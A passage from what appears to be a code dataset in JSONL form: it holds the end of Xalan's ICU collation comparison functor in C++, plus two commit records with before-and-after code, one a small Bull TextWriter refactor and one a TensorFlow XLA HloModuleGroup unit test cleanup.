:\n\tm_isValid(false),\n\tm_defaultCollator(0),\n\tm_defaultCollatorLocaleName(),\n\tm_cacheCollators(fCacheCollators),\n\tm_collatorCache()\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tm_defaultCollator = createCollator(theStatus, &m_defaultCollatorLocaleName);\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tm_isValid = true;\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::~ICUBridgeCollationCompareFunctorImpl()\n{\n\tXALAN_USING_STD(for_each)\n\n\tdelete m_defaultCollator;\n\n\tfor_each(\n\t\t\tm_collatorCache.begin(),\n\t\t\tm_collatorCache.end(),\n\t\t\tCollationCacheStruct::CollatorDeleteFunctor());\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst CollatorType&\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n#if defined(XALAN_USE_WCHAR_CAST_HACK)\n\treturn theCollator.compare(\n\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\ttheLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\ttheRHS,\n\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\ninline UColAttributeValue\ncaseOrderConvert(ICUBridgeCollationCompareFunctorImpl::eCaseOrder\ttheCaseOrder)\n{\n\tswitch(theCaseOrder)\n\t{\n\tcase StylesheetExecutionContext::eLowerFirst:\n\t\treturn UCOL_LOWER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eUpperFirst:\n\t\treturn UCOL_UPPER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eDefault:\n\t\tbreak;\n\n\tdefault:\n\t\tassert(false);\n\t\tbreak;\n\t}\n\n\treturn UCOL_DEFAULT;\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doDefaultCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n\tif (isValid() == false)\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, StylesheetExecutionContext::eDefault);\n\t}\n\telse\n\t{\n\t\tassert(m_defaultCollator != 0);\n\n\t\treturn doCompare(*m_defaultCollator, theLHS, theRHS);\n\t}\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\tUErrorCode&\t\t\t\ttheStatus)\n{\n\tassert(theLocale != 0);\n\n\tconst XalanDOMString::size_type\t\ttheLength = length(theLocale);\n\n\tif (theLength >= ULOC_FULLNAME_CAPACITY)\n\t{\n\t\ttheStatus = U_ILLEGAL_ARGUMENT_ERROR;\n\n\t\treturn 0;\n\t}\n\telse\n\t{\n#if defined(XALAN_NON_ASCII_PLATFORM)\n\t\tCharVectorType\ttheVector;\n\n\t\tTranscodeToLocalCodePage(theLocale, theVector, true);\n\n\t\tconst char* const\ttheBuffer = c_str(theVector);\n#else\n\t\tchar\ttheBuffer[ULOC_FULLNAME_CAPACITY];\n\n\t\t\/\/ Since language names must be ASCII, this\n\t\t\/\/ is the cheapest way to \"transcode\"...\n\t\tfor (unsigned int i = 0; i <= theLength; ++i)\n\t\t{\n\t\t\ttheBuffer[i] = char(theLocale[i]);\n\t\t}\n#endif\n\t\treturn ICUBridgeCollationCompareFunctorImpl::CollatorType::createInstance(\n\t\t\t\t\tLocale::createFromName(theBuffer),\n\t\t\t\t\ttheStatus);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tXalanAutoPtr<CollatorType>\ttheCollator(createCollator(theLocale, theStatus));\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tassert(theCollator.get() != 0);\n\n\t\treturn doCompare(\n\t\t\t\t*theCollator.get(),\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\ttheCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompareCached(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tCollatorType*\ttheCollator = getCachedCollator(theLocale);\n\n\tif (theCollator != 0)\n\t{\n\t\treturn doCompare(*theCollator, theLHS, theRHS, theCaseOrder);\n\t}\n\telse\n\t{\n\t\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(createCollator(theLocale, theStatus));\n\n\t\tif (U_SUCCESS(theStatus))\n\t\t{\n\t\t\tassert(theCollatorGuard.get() != 0);\n\n\t\t\t\/\/ OK, there was no error, so cache the instance...\n\t\t\tcacheCollator(theCollatorGuard.get(), theLocale);\n\n\t\t\t\/\/ Release the collator, since it's in the cache and\n\t\t\t\/\/ will be controlled by the cache...\n\t\t\ttheCollator = theCollatorGuard.release();\n\n\t\t\treturn doCompare(\n\t\t\t\t\t*theCollator,\n\t\t\t\t\ttheLHS,\n\t\t\t\t\ttheRHS,\n\t\t\t\t\ttheCaseOrder);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t\t}\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tCollatorType&\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\ttheCollator.setAttribute(\n\t\t\t\tUCOL_CASE_FIRST,\n\t\t\t\tcaseOrderConvert(theCaseOrder),\n\t\t\t\ttheStatus);\n\n#if defined(XALAN_USE_WCHAR_CAST_HACK)\n\treturn theCollator.compare(\n\t\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\t\ttheLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\ttheRHS,\n\t\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse\n\t{\n\t\treturn doCompare(\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\tc_wstr(m_defaultCollatorLocaleName),\n\t\t\t\ttheCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault &&\n\t\tXalanDOMString::equals(m_defaultCollatorLocaleName, theLocale) == true)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse if (m_cacheCollators == true)\n\t{\n\t\treturn doCompareCached(theLHS, theRHS, theLocale, theCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn doCompare(theLHS, theRHS, theLocale, theCaseOrder);\n\t};\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::CollatorType*\nICUBridgeCollationCompareFunctorImpl::getCachedCollator(const XalanDOMChar*\t\ttheLocale) const\n{\n\tXALAN_USING_STD(find_if)\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\tCollatorCacheListType::iterator\ti =\n\t\tfind_if(\n\t\t\ttheNonConstCache.begin(),\n\t\t\ttheNonConstCache.end(),\n\t\t\tCollationCacheStruct::CollatorFindFunctor(theLocale));\n\n\tif (i == theNonConstCache.end())\n\t{\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\t\/\/ Let's do a quick check to see if we found the first entry.\n\t\t\/\/ If so, we don't have to update the cache, so just return the\n\t\t\/\/ appropriate value...\n\t\tconst CollatorCacheListType::iterator\ttheBegin =\n\t\t\ttheNonConstCache.begin();\n\n\t\tif (i == theBegin)\n\t\t{\n\t\t\treturn (*i).m_collator;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ Save the collator, because splice() may invalidate\n\t\t\t\/\/ i.\n\t\t\tCollatorType* const\t\ttheCollator = (*i).m_collator;\n\n\t\t\t\/\/ Move the entry to the beginning the cache\n\t\t\ttheNonConstCache.splice(theBegin, theNonConstCache, i);\n\n\t\t\treturn theCollator;\n\t\t}\n\t}\n}\n\n\n\nvoid\nICUBridgeCollationCompareFunctorImpl::cacheCollator(\n\t\t\tCollatorType*\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLocale) const\n{\n\tassert(theCollator != 0);\n\tassert(theLocale != 0);\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\t\/\/ Is the cache full?\n\tif (theNonConstCache.size() == eCacheMax)\n\t{\n\t\t\/\/ Yes, so guard the collator instance, in case pop_back() throws...\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(theNonConstCache.back().m_collator);\n\n\t\ttheNonConstCache.pop_back();\n\t}\n\n\ttheNonConstCache.push_front(CollatorCacheListType::value_type());\n\n\tCollatorCacheListType::value_type&\t\ttheEntry = \n\t\ttheNonConstCache.front();\n\n\t\/\/ Set the locale first, since that might throw an exception...\n\ttheEntry.m_locale = theLocale;\n\n\ttheEntry.m_collator = theCollator;\n}\n\n\n\nXALAN_CPP_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>#include <Bull\/Core\/IO\/TextWriter.hpp>\n\nnamespace Bull\n{\n    TextWriter::TextWriter(OutStream& stream) :\n        m_stream(stream)\n    {\n        \/\/\/ Nothing\n    }\n\n    void TextWriter::write(const String& line)\n    {\n        m_stream.write(ByteArray::memoryCopy(line.getBuffer(), line.getSize()));\n    }\n\n    void TextWriter::writeLine(const String& line)\n    {\n        write(line + '\\n');\n    }\n\n    TextWriter& TextWriter::operator<<(const char* string)\n    {\n        write(string);\n\n        return *this;\n    }\n\n    TextWriter& TextWriter::operator<<(const String& string)\n    {\n        write(string);\n\n        return *this;\n    }\n}<commit_msg>[Core\/TextWriter] Use ByteArray::fromString instead of ByteArray::memoryCopy<commit_after>#include <Bull\/Core\/IO\/TextWriter.hpp>\n\nnamespace Bull\n{\n    TextWriter::TextWriter(OutStream& stream) :\n        m_stream(stream)\n    {\n        \/\/\/ Nothing\n    }\n\n    void TextWriter::write(const String& string)\n    {\n        m_stream.write(ByteArray::fromString(string));\n    }\n\n    void TextWriter::writeLine(const String& line)\n    {\n        write(line + '\\n');\n    }\n\n    TextWriter& TextWriter::operator<<(const char* string)\n    {\n        write(string);\n\n        return *this;\n    }\n\n    TextWriter& TextWriter::operator<<(const String& string)\n    {\n        write(string);\n\n        return *this;\n    }\n}<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo_module_group.h\"\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo.pb.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_matchers.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_module_group_metadata.h\"\n#include \"tensorflow\/compiler\/xla\/test.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/hlo_test_base.h\"\n#include \"tensorflow\/core\/lib\/core\/status_test_util.h\"\n\nnamespace xla {\n\nnamespace {\n\nnamespace op = ::xla::testing::opcode_matchers;\nusing ::testing::Property;\nusing ::testing::StrEq;\n\nclass HloModuleGroupTest : public HloTestBase {\n protected:\n  HloModuleGroupTest() = default;\n};\n\nTEST_F(HloModuleGroupTest, SingleModule) {\n  const string text = R\"(\nHloModule simple_module\n\nENTRY %entry (x: f32[], y: f32[]) -> f32[] {\n  %x = f32[] parameter(0)\n  %y = f32[] parameter(1)\n  ROOT %add = f32[] add(%x, %y)\n}\n)\";\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module,\n                          ParseAndReturnVerifiedModule(text));\n  HloModuleGroup group(std::move(module));\n\n  EXPECT_EQ(group.modules().size(), 1);\n  EXPECT_THAT(\n      group.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n\n  TF_ASSERT_OK_AND_ASSIGN(HloModuleGroup group_copy,\n                          HloModuleGroup::CreateFromProto(\n                              group.ToProto(), {group.module(0).config()}));\n  EXPECT_EQ(group_copy.modules().size(), 1);\n  EXPECT_THAT(\n      group_copy.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n\n  std::vector<std::unique_ptr<HloModule>> modules = group.ConsumeModules();\n  EXPECT_EQ(modules.size(), 1);\n  EXPECT_EQ(group.modules().size(), 0);\n}\n\nTEST_F(HloModuleGroupTest, MultipleModules) {\n  const string text_0 = R\"(\nHloModule module0\n\nENTRY %entry (x: f32[], y: f32[]) -> f32[] {\n  %x = f32[] parameter(0)\n  %y = f32[] parameter(1)\n  ROOT %add = f32[] add(%x, %y)\n}\n)\";\n  const string text_1 = R\"(\nHloModule module1\n\nENTRY %entry (a: f32[]) -> f32[] {\n  ROOT %a = f32[] parameter(0)\n}\n)\";\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_0,\n                          ParseAndReturnVerifiedModule(text_0));\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_1,\n                          ParseAndReturnVerifiedModule(text_1));\n  std::vector<std::unique_ptr<HloModule>> modules;\n  modules.push_back(std::move(module_0));\n  modules.push_back(std::move(module_1));\n  HloModuleGroup group(TestName(), absl::MakeSpan(modules));\n  EXPECT_EQ(group.modules().size(), 2);\n  EXPECT_THAT(\n      group.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n  EXPECT_THAT(group.module(1).entry_computation()->instructions(),\n              ::testing::ElementsAre(op::Parameter()));\n\n  TF_ASSERT_OK_AND_ASSIGN(HloModuleGroup group_copy,\n                          HloModuleGroup::CreateFromProto(\n                              group.ToProto(), {group.module(0).config(),\n                                                group.module(1).config()}));\n  EXPECT_EQ(group_copy.modules().size(), 2);\n}\n\nTEST_F(HloModuleGroupTest, BuildModuleGroupByPushBack) {\n  const string text_0 = R\"(\nHloModule module0\n\nENTRY %entry (x: f32[], y: f32[]) -> f32[] {\n  %x = f32[] parameter(0)\n  %y = f32[] parameter(1)\n  ROOT %add = f32[] add(%x, %y)\n}\n)\";\n  const string text_1 = R\"(\nHloModule module1\n\nENTRY %entry (a: f32[]) -> f32[] {\n  ROOT %a = f32[] parameter(0)\n}\n)\";\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_0,\n                          ParseAndReturnVerifiedModule(text_0));\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_1,\n                          ParseAndReturnVerifiedModule(text_1));\n  HloModuleGroup group(TestName());\n  group.push_back(std::move(module_0));\n  group.push_back(std::move(module_1));\n\n  EXPECT_EQ(group.modules().size(), 2);\n  EXPECT_THAT(\n      group.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n  EXPECT_THAT(group.module(1).entry_computation()->instructions(),\n              ::testing::ElementsAre(op::Parameter()));\n}\n\n\/\/ Tests that the order of companion instructions in the companion set doesn't\n\/\/ change across runs.\nTEST_F(HloModuleGroupTest, ModuleGroupCompanionOrder) {\n  \/\/ A simple while loop template for core i sending to core i+1.\n  constexpr char text[] = R\"(\nHloModule module_%d\n\nwhile_cond {\n  param = s32[] parameter(0)\n  ROOT p = pred[] constant(true)\n}\n\nwhile_body {\n  param = s32[] parameter(0)\n  token.s = token[] after-all()\n  token.r = token[] after-all()\n  send = (s32[], u32[], token[]) send(param, token.s), channel_id=%d\n  send-done = token[] send-done(send), channel_id=%d\n  recv = (s32[], u32[], token[]) recv(token.r), channel_id=%d\n  recv-done = (s32[], token[]) recv-done(recv), channel_id=%d\n  ROOT data = s32[] get-tuple-element(recv-done), index=0\n}\n\nENTRY entry {\n  while_init = s32[] constant(1)\n  ROOT while = s32[] while(while_init), condition=while_cond, body=while_body\n}\n)\";\n\n  \/\/ Try creating the module and the metadata kTrialCount times and check the\n  \/\/ companion instructions remain in the same order.\n  const int64_t kTrialCount = 5;\n  const int64_t kDeviceCount = 10;\n  std::vector<int64_t> companion_order;\n\n  for (int64_t t = 0; t < kTrialCount; ++t) {\n    HloModuleGroup group(TestName());\n    for (int64_t i = 0; i < kDeviceCount; ++i) {\n      const int64_t send_channel = i;\n      const int64_t recv_channel = i == 0 ? kDeviceCount - 1 : i - 1;\n      TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module,\n                              ParseAndReturnVerifiedModule(absl::StrFormat(\n                                  text, i, send_channel, send_channel,\n                                  recv_channel, recv_channel)));\n      group.push_back(std::move(module));\n    }\n    ASSERT_EQ(group.modules().size(), kDeviceCount);\n\n    TF_ASSERT_OK_AND_ASSIGN(auto metadata,\n                            HloModuleGroupMetadata::Build(group.modules()));\n    ASSERT_EQ(metadata->companion_sets().size(), 1);\n\n    std::vector<int64_t> module_ids;\n    const auto _companion_sets = *metadata->companion_sets()[0];\n    module_ids.reserve(_companion_sets.size());\n    for (HloInstruction* companion : _companion_sets) {\n      module_ids.push_back(metadata->GetModuleId(companion->GetModule()));\n    }\n\n    if (t == 0) {\n      companion_order = module_ids;\n    } else {\n      EXPECT_TRUE(absl::c_equal(companion_order, module_ids));\n    }\n  }\n}\n\n\/\/ Test that metadata is transferred when a module is replaced.\nTEST_F(HloModuleGroupTest, ReplaceModuleMetadata) {\n  auto old_module = CreateNewVerifiedModule();\n  int old_module_id = old_module->unique_id();\n  old_module->metadata()->RecordPassStart();\n  TF_EXPECT_OK(old_module->metadata()->set_current_pass_name(\"fake pass\"));\n\n  HloModuleGroup group(std::move(old_module));\n  EXPECT_EQ(group.module(0).metadata()->proto().module_group_name(),\n            group.name());\n\n  auto new_module = CreateNewVerifiedModule();\n  group.ReplaceModule(0, std::move(new_module));\n\n  EXPECT_NE(group.module(0).unique_id(), old_module_id);\n  const HloModuleMetadataProto& module_metadata =\n      group.module(0).metadata()->proto();\n  EXPECT_EQ(module_metadata.canonical_module_id(), old_module_id);\n\n  const HloPassMetadata& pass_metadata =\n      *module_metadata.pass_metadata().rbegin();\n  EXPECT_THAT(pass_metadata,\n              Property(&HloPassMetadata::pass_name, StrEq(\"fake pass\")));\n}\n\n}  \/\/ namespace\n\n}  \/\/ namespace xla\n<commit_msg>[tensorflow\/compiler\/xla\/service\/hlo_module_group_test.cc] Use `const auto&` instead of `const auto`; remove underscore from name<commit_after>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo_module_group.h\"\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo.pb.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_matchers.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_module_group_metadata.h\"\n#include \"tensorflow\/compiler\/xla\/test.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/hlo_test_base.h\"\n#include \"tensorflow\/core\/lib\/core\/status_test_util.h\"\n\nnamespace xla {\n\nnamespace {\n\nnamespace op = ::xla::testing::opcode_matchers;\nusing ::testing::Property;\nusing ::testing::StrEq;\n\nclass HloModuleGroupTest : public HloTestBase {\n protected:\n  HloModuleGroupTest() = default;\n};\n\nTEST_F(HloModuleGroupTest, SingleModule) {\n  const string text = R\"(\nHloModule simple_module\n\nENTRY %entry (x: f32[], y: f32[]) -> f32[] {\n  %x = f32[] parameter(0)\n  %y = f32[] parameter(1)\n  ROOT %add = f32[] add(%x, %y)\n}\n)\";\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module,\n                          ParseAndReturnVerifiedModule(text));\n  HloModuleGroup group(std::move(module));\n\n  EXPECT_EQ(group.modules().size(), 1);\n  EXPECT_THAT(\n      group.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n\n  TF_ASSERT_OK_AND_ASSIGN(HloModuleGroup group_copy,\n                          HloModuleGroup::CreateFromProto(\n                              group.ToProto(), {group.module(0).config()}));\n  EXPECT_EQ(group_copy.modules().size(), 1);\n  EXPECT_THAT(\n      group_copy.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n\n  std::vector<std::unique_ptr<HloModule>> modules = group.ConsumeModules();\n  EXPECT_EQ(modules.size(), 1);\n  EXPECT_EQ(group.modules().size(), 0);\n}\n\nTEST_F(HloModuleGroupTest, MultipleModules) {\n  const string text_0 = R\"(\nHloModule module0\n\nENTRY %entry (x: f32[], y: f32[]) -> f32[] {\n  %x = f32[] parameter(0)\n  %y = f32[] parameter(1)\n  ROOT %add = f32[] add(%x, %y)\n}\n)\";\n  const string text_1 = R\"(\nHloModule module1\n\nENTRY %entry (a: f32[]) -> f32[] {\n  ROOT %a = f32[] parameter(0)\n}\n)\";\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_0,\n                          ParseAndReturnVerifiedModule(text_0));\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_1,\n                          ParseAndReturnVerifiedModule(text_1));\n  std::vector<std::unique_ptr<HloModule>> modules;\n  modules.push_back(std::move(module_0));\n  modules.push_back(std::move(module_1));\n  HloModuleGroup group(TestName(), absl::MakeSpan(modules));\n  EXPECT_EQ(group.modules().size(), 2);\n  EXPECT_THAT(\n      group.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n  EXPECT_THAT(group.module(1).entry_computation()->instructions(),\n              ::testing::ElementsAre(op::Parameter()));\n\n  TF_ASSERT_OK_AND_ASSIGN(HloModuleGroup group_copy,\n                          HloModuleGroup::CreateFromProto(\n                              group.ToProto(), {group.module(0).config(),\n                                                group.module(1).config()}));\n  EXPECT_EQ(group_copy.modules().size(), 2);\n}\n\nTEST_F(HloModuleGroupTest, BuildModuleGroupByPushBack) {\n  const string text_0 = R\"(\nHloModule module0\n\nENTRY %entry (x: f32[], y: f32[]) -> f32[] {\n  %x = f32[] parameter(0)\n  %y = f32[] parameter(1)\n  ROOT %add = f32[] add(%x, %y)\n}\n)\";\n  const string text_1 = R\"(\nHloModule module1\n\nENTRY %entry (a: f32[]) -> f32[] {\n  ROOT %a = f32[] parameter(0)\n}\n)\";\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_0,\n                          ParseAndReturnVerifiedModule(text_0));\n  TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module_1,\n                          ParseAndReturnVerifiedModule(text_1));\n  HloModuleGroup group(TestName());\n  group.push_back(std::move(module_0));\n  group.push_back(std::move(module_1));\n\n  EXPECT_EQ(group.modules().size(), 2);\n  EXPECT_THAT(\n      group.module(0).entry_computation()->instructions(),\n      ::testing::ElementsAre(op::Parameter(), op::Parameter(), op::Add()));\n  EXPECT_THAT(group.module(1).entry_computation()->instructions(),\n              ::testing::ElementsAre(op::Parameter()));\n}\n\n\/\/ Tests that the order of companion instructions in the companion set doesn't\n\/\/ change across runs.\nTEST_F(HloModuleGroupTest, ModuleGroupCompanionOrder) {\n  \/\/ A simple while loop template for core i sending to core i+1.\n  constexpr char text[] = R\"(\nHloModule module_%d\n\nwhile_cond {\n  param = s32[] parameter(0)\n  ROOT p = pred[] constant(true)\n}\n\nwhile_body {\n  param = s32[] parameter(0)\n  token.s = token[] after-all()\n  token.r = token[] after-all()\n  send = (s32[], u32[], token[]) send(param, token.s), channel_id=%d\n  send-done = token[] send-done(send), channel_id=%d\n  recv = (s32[], u32[], token[]) recv(token.r), channel_id=%d\n  recv-done = (s32[], token[]) recv-done(recv), channel_id=%d\n  ROOT data = s32[] get-tuple-element(recv-done), index=0\n}\n\nENTRY entry {\n  while_init = s32[] constant(1)\n  ROOT while = s32[] while(while_init), condition=while_cond, body=while_body\n}\n)\";\n\n  \/\/ Try creating the module and the metadata kTrialCount times and check the\n  \/\/ companion instructions remain in the same order.\n  const int64_t kTrialCount = 5;\n  const int64_t kDeviceCount = 10;\n  std::vector<int64_t> companion_order;\n\n  for (int64_t t = 0; t < kTrialCount; ++t) {\n    HloModuleGroup group(TestName());\n    for (int64_t i = 0; i < kDeviceCount; ++i) {\n      const int64_t send_channel = i;\n      const int64_t recv_channel = i == 0 ? kDeviceCount - 1 : i - 1;\n      TF_ASSERT_OK_AND_ASSIGN(std::unique_ptr<HloModule> module,\n                              ParseAndReturnVerifiedModule(absl::StrFormat(\n                                  text, i, send_channel, send_channel,\n                                  recv_channel, recv_channel)));\n      group.push_back(std::move(module));\n    }\n    ASSERT_EQ(group.modules().size(), kDeviceCount);\n\n    TF_ASSERT_OK_AND_ASSIGN(auto metadata,\n                            HloModuleGroupMetadata::Build(group.modules()));\n    ASSERT_EQ(metadata->companion_sets().size(), 1);\n\n    std::vector<int64_t> module_ids;\n    const auto& companion_sets = *metadata->companion_sets()[0];\n    module_ids.reserve(companion_sets.size());\n    for (HloInstruction* companion : companion_sets) {\n      module_ids.push_back(metadata->GetModuleId(companion->GetModule()));\n    }\n\n    if (t == 0) {\n      companion_order = module_ids;\n    } else {\n      EXPECT_TRUE(absl::c_equal(companion_order, module_ids));\n    }\n  }\n}\n\n\/\/ Test that metadata is transferred when a module is replaced.\nTEST_F(HloModuleGroupTest, ReplaceModuleMetadata) {\n  auto old_module = CreateNewVerifiedModule();\n  int old_module_id = old_module->unique_id();\n  old_module->metadata()->RecordPassStart();\n  TF_EXPECT_OK(old_module->metadata()->set_current_pass_name(\"fake pass\"));\n\n  HloModuleGroup group(std::move(old_module));\n  EXPECT_EQ(group.module(0).metadata()->proto().module_group_name(),\n            group.name());\n\n  auto new_module = CreateNewVerifiedModule();\n  group.ReplaceModule(0, std::move(new_module));\n\n  EXPECT_NE(group.module(0).unique_id(), old_module_id);\n  const HloModuleMetadataProto& module_metadata =\n      group.module(0).metadata()->proto();\n  EXPECT_EQ(module_metadata.canonical_module_id(), old_module_id);\n\n  const HloPassMetadata& pass_metadata =\n      *module_metadata.pass_metadata().rbegin();\n  EXPECT_THAT(pass_metadata,\n              Property(&HloPassMetadata::pass_name, StrEq(\"fake pass\")));\n}\n\n}  \/\/ namespace\n\n}  \/\/ namespace xla\n<|endoftext|>"}
